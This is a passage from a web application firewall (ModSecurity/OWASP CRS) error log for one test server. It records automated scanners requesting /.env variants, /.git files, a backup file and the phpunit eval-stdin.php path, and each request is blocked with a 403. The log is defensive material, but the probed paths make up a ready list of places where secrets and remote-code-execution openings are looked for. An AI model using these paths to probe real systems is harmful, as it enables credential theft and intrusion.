&quot;aJszaZNZgsyW7y9PCgJifAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/site.bak
[Tue Aug 12 14:28:25.574047 2025] [:error] [pid 1892093] [client 213.209.143.116:41190] [client 213.209.143.116] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.bak&quot;] [unique_id &quot;aJszaZNZgsyW7y9PCgJifAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/site.bak
[Tue Aug 12 14:28:25.574198 2025] [:error] [pid 1892093] [client 213.209.143.116:41190] [client 213.209.143.116] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.bak&quot;] [unique_id &quot;aJszaZNZgsyW7y9PCgJifAAAAAc&quot;], referer: http://pms.test.indacotrentino.com/site.bak
[Wed Aug 13 03:39:46.110816 2025] [:error] [pid 1915762] [client 45.139.104.199:32828] [client 45.139.104.199] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJvs4sOqbpx-jnPJ2LkGxwAAAAM&quot;]
[Wed Aug 13 03:39:46.111087 2025] [:error] [pid 1915762] [client 45.139.104.199:32828] [client 45.139.104.199] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJvs4sOqbpx-jnPJ2LkGxwAAAAM&quot;]
[Wed Aug 13 03:39:46.111270 2025] [:error] [pid 1915762] [client 45.139.104.199:32828] [client 45.139.104.199] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aJvs4sOqbpx-jnPJ2LkGxwAAAAM&quot;]
[Sat Aug 16 09:33:01.187848 2025] [:error] [pid 1991793] [client 217.217.252.16:50562] [client 217.217.252.16] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aKA0LVAgsqK66xloRg0MFQAAAAY&quot;]
[Sat Aug 16 09:33:01.189994 2025] [:error] [pid 1991793] [client 217.217.252.16:50562] [client 217.217.252.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aKA0LVAgsqK66xloRg0MFQAAAAY&quot;]
[Sat Aug 16 09:33:01.190293 2025] [:error] [pid 1991793] [client 217.217.252.16:50562] [client 217.217.252.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aKA0LVAgsqK66xloRg0MFQAAAAY&quot;]
[Sat Aug 16 09:33:03.223730 2025] [:error] [pid 1991185] [client 217.217.252.16:50667] [client 217.217.252.16] ModSecurity: Warning. Match of &quot;rx ^0?$&quot; against &quot;REQUEST_HEADERS:Content-Length&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;177&quot;] [id &quot;920170&quot;] [msg &quot;GET or HEAD Request with Body Content.&quot;] [data &quot;19&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ&quot;] [tag &quot;CAPEC-272&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aKA0L-_-AI4RJh5hYJ1blgAAAAU&quot;]
[Sat Aug 16 09:33:03.223799 2025] [:error] [pid 1991185] [client 217.217.252.16:50667] [client 217.217.252.16] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;662&quot;] [id &quot;920340&quot;] [msg &quot;Request Containing Content, but Missing Content-Type header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aKA0L-_-AI4RJh5hYJ1blgAAAAU&quot;]
[Sat Aug 16 09:33:03.224179 2025] [:error] [pid 1991185] [client 217.217.252.16:50667] [client 217.217.252.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 7)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aKA0L-_-AI4RJh5hYJ1blgAAAAU&quot;]
[Sat Aug 16 09:33:03.224370 2025] [:error] [pid 1991185] [client 217.217.252.16:50667] [client 217.217.252.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 7 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 7, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aKA0L-_-AI4RJh5hYJ1blgAAAAU&quot;]
[Mon Aug 18 10:02:04.282246 2025] [:error] [pid 2040974] [client 45.130.203.195:49507] [client 45.130.203.195] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aKLd_DRh4ljt-yt5iWLrIQAAAAQ&quot;]
[Mon Aug 18 10:02:04.289480 2025] [:error] [pid 2040974] [client 45.130.203.195:49507] [client 45.130.203.195] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aKLd_DRh4ljt-yt5iWLrIQAAAAQ&quot;]
[Mon Aug 18 10:02:04.289676 2025] [:error] [pid 2040974] [client 45.130.203.195:49507] [client 45.130.203.195] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aKLd_DRh4ljt-yt5iWLrIQAAAAQ&quot;]
[Thu Aug 21 13:13:29.348890 2025] [:error] [pid 2120450] [client 23.180.120.244:52152] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aKb_WSILBkxvpX0uu8lrZgAAAAc&quot;]
[Thu Aug 21 13:13:29.352111 2025] [:error] [pid 2120450] [client 23.180.120.244:52152] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aKb_WSILBkxvpX0uu8lrZgAAAAc&quot;]
[Thu Aug 21 13:13:29.352301 2025] [:error] [pid 2120450] [client 23.180.120.244:52152] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aKb_WSILBkxvpX0uu8lrZgAAAAc&quot;]
[Thu Aug 21 13:13:36.809448 2025] [:error] [pid 2115008] [client 23.180.120.244:52158] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aKb_YIULDbYdi_TssjrdZAAAAAI&quot;]
[Thu Aug 21 13:13:36.809685 2025] [:error] [pid 2115008] [client 23.180.120.244:52158] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aKb_YIULDbYdi_TssjrdZAAAAAI&quot;]
[Thu Aug 21 13:13:36.809836 2025] [:error] [pid 2115008] [client 23.180.120.244:52158] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aKb_YIULDbYdi_TssjrdZAAAAAI&quot;]
[Thu Aug 21 13:13:37.029254 2025] [:error] [pid 2115007] [client 23.180.120.244:59460] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aKb_Ya2kg_W_Wr-muT7CtQAAAAE&quot;]
[Thu Aug 21 13:13:37.029497 2025] [:error] [pid 2115007] [client 23.180.120.244:59460] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aKb_Ya2kg_W_Wr-muT7CtQAAAAE&quot;]
[Thu Aug 21 13:13:37.029650 2025] [:error] [pid 2115007] [client 23.180.120.244:59460] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aKb_Ya2kg_W_Wr-muT7CtQAAAAE&quot;]
[Thu Aug 21 13:13:37.277400 2025] [:error] [pid 2115010] [client 23.180.120.244:59464] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aKb_YSwjVYzZoWovzhjPBQAAAAQ&quot;]
[Thu Aug 21 13:13:37.277645 2025] [:error] [pid 2115010] [client 23.180.120.244:59464] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aKb_YSwjVYzZoWovzhjPBQAAAAQ&quot;]
[Thu Aug 21 13:13:37.277822 2025] [:error] [pid 2115010] [client 23.180.120.244:59464] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aKb_YSwjVYzZoWovzhjPBQAAAAQ&quot;]
[Thu Aug 21 13:13:37.432469 2025] [:error] [pid 2115006] [client 23.180.120.244:59474] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aKb_YURs_A425kIS1E-bmQAAAAA&quot;]
[Thu Aug 21 13:13:37.432709 2025] [:error] [pid 2115006] [client 23.180.120.244:59474] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aKb_YURs_A425kIS1E-bmQAAAAA&quot;]
[Thu Aug 21 13:13:37.432876 2025] [:error] [pid 2115006] [client 23.180.120.244:59474] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aKb_YURs_A425kIS1E-bmQAAAAA&quot;]
[Thu Aug 21 13:13:37.648241 2025] [:error] [pid 2115009] [client 23.180.120.244:59480] [client 23.180.120.244] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aKb_YbtFShAAn9A56aJrgAAAAAM&quot;]
[Thu Aug 21 13:13:37.648479 2025] [:error] [pid 2115009] [client 23.180.120.244:59480] [client 23.180.120.244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aKb_YbtFShAAn9A56aJrgAAAAAM&quot;]
[Thu Aug 21 13:13:37.648639 2025] [:error] [pid 2115009] [client 23.180.120.244:59480] [client 23.180.120.244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aKb_YbtFShAAn9A56aJrgAAAAAM&quot;]
